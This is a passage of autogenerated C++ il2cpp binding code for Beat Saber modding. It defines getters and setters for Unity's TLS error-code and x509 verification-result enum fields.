Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_INVALID_FORMAT ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_INVALID_FORMAT() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_INVALID_FORMAT"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_INVALID_FORMAT")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_INVALID_FORMAT void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_INVALID_FORMAT(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_INVALID_FORMAT"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_INVALID_FORMAT", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_INVALID_PASSWORD ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_INVALID_PASSWORD() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_INVALID_PASSWORD"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_INVALID_PASSWORD")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_INVALID_PASSWORD void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_INVALID_PASSWORD(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_INVALID_PASSWORD"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_INVALID_PASSWORD", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_INVALID_STATE ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_INVALID_STATE() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_INVALID_STATE"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_INVALID_STATE")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_INVALID_STATE void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_INVALID_STATE(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_INVALID_STATE"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_INVALID_STATE", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_BUFFER_OVERFLOW ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_BUFFER_OVERFLOW() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_BUFFER_OVERFLOW"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_BUFFER_OVERFLOW")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_BUFFER_OVERFLOW void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_BUFFER_OVERFLOW(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_BUFFER_OVERFLOW"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_BUFFER_OVERFLOW", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_OUT_OF_MEMORY ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_OUT_OF_MEMORY() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_OUT_OF_MEMORY"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_OUT_OF_MEMORY")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_OUT_OF_MEMORY void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_OUT_OF_MEMORY(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_OUT_OF_MEMORY"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_OUT_OF_MEMORY", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_INTERNAL_ERROR ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_INTERNAL_ERROR() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_INTERNAL_ERROR"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_INTERNAL_ERROR")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_INTERNAL_ERROR void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_INTERNAL_ERROR(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_INTERNAL_ERROR"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_INTERNAL_ERROR", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_NOT_SUPPORTED ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_NOT_SUPPORTED() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_NOT_SUPPORTED"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_NOT_SUPPORTED")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_NOT_SUPPORTED void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_NOT_SUPPORTED(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_NOT_SUPPORTED"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_NOT_SUPPORTED", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_ENTROPY_SOURCE_FAILED ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_ENTROPY_SOURCE_FAILED() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_ENTROPY_SOURCE_FAILED"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_ENTROPY_SOURCE_FAILED")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_ENTROPY_SOURCE_FAILED void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_ENTROPY_SOURCE_FAILED(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_ENTROPY_SOURCE_FAILED"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_ENTROPY_SOURCE_FAILED", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_STREAM_CLOSED ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_STREAM_CLOSED() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_STREAM_CLOSED"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_STREAM_CLOSED")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_STREAM_CLOSED void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_STREAM_CLOSED(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_STREAM_CLOSED"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_STREAM_CLOSED", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_USER_CUSTOM_ERROR_START ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_USER_CUSTOM_ERROR_START() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_USER_CUSTOM_ERROR_START"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_USER_CUSTOM_ERROR_START")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_USER_CUSTOM_ERROR_START void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_USER_CUSTOM_ERROR_START(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_USER_CUSTOM_ERROR_START"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_USER_CUSTOM_ERROR_START", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_USER_WOULD_BLOCK ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_USER_WOULD_BLOCK() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_USER_WOULD_BLOCK"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_USER_WOULD_BLOCK")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_USER_WOULD_BLOCK void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_USER_WOULD_BLOCK(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_USER_WOULD_BLOCK"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_USER_WOULD_BLOCK", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_USER_READ_FAILED ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_USER_READ_FAILED() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_USER_READ_FAILED"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_USER_READ_FAILED")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_USER_READ_FAILED void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_USER_READ_FAILED(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_USER_READ_FAILED"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_USER_READ_FAILED", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_USER_WRITE_FAILED ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_USER_WRITE_FAILED() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_USER_WRITE_FAILED"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_USER_WRITE_FAILED")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_USER_WRITE_FAILED void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_USER_WRITE_FAILED(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_USER_WRITE_FAILED"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_USER_WRITE_FAILED", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_USER_UNKNOWN_ERROR ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_USER_UNKNOWN_ERROR() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_USER_UNKNOWN_ERROR"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_USER_UNKNOWN_ERROR")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_USER_UNKNOWN_ERROR void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_USER_UNKNOWN_ERROR(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_USER_UNKNOWN_ERROR"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_USER_UNKNOWN_ERROR", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_USER_CUSTOM_ERROR_END ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_USER_CUSTOM_ERROR_END() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_USER_CUSTOM_ERROR_END"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_USER_CUSTOM_ERROR_END")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_USER_CUSTOM_ERROR_END void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_USER_CUSTOM_ERROR_END(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_USER_CUSTOM_ERROR_END"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_USER_CUSTOM_ERROR_END", value)); } // Autogenerated instance field getter // Get instance field: public System.UInt32 value__ uint& Mono::Unity::UnityTls::unitytls_error_code::dyn_value__() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::dyn_value__"); auto ___internal__instance = *this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result #include "Mono/Unity/UnityTls_unitytls_x509verify_result.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_SUCCESS ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_SUCCESS() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_SUCCESS"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_SUCCESS")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_SUCCESS void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_SUCCESS(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_SUCCESS"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_SUCCESS", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_NOT_DONE ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_NOT_DONE() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_NOT_DONE"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_NOT_DONE")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_NOT_DONE void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_NOT_DONE(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_NOT_DONE"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_NOT_DONE", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FATAL_ERROR ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FATAL_ERROR() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FATAL_ERROR"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FATAL_ERROR")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FATAL_ERROR void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FATAL_ERROR(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FATAL_ERROR"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FATAL_ERROR", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_EXPIRED ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_EXPIRED() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_EXPIRED"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_EXPIRED")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_EXPIRED void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_EXPIRED(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_EXPIRED"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_EXPIRED", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_REVOKED ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_REVOKED() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_REVOKED"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_REVOKED")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_REVOKED void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_REVOKED(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_REVOKED"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_REVOKED", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_CN_MISMATCH ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_CN_MISMATCH() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_CN_MISMATCH"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_CN_MISMATCH")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_CN_MISMATCH void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_CN_MISMATCH(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_CN_MISMATCH"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_CN_MISMATCH", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_NOT_TRUSTED ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_NOT_TRUSTED() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_NOT_TRUSTED"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_NOT_TRUSTED")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_NOT_TRUSTED void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_NOT_TRUSTED(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_NOT_TRUSTED"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_NOT_TRUSTED", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR1 ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR1() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR1"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR1")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR1 void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR1(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR1"); 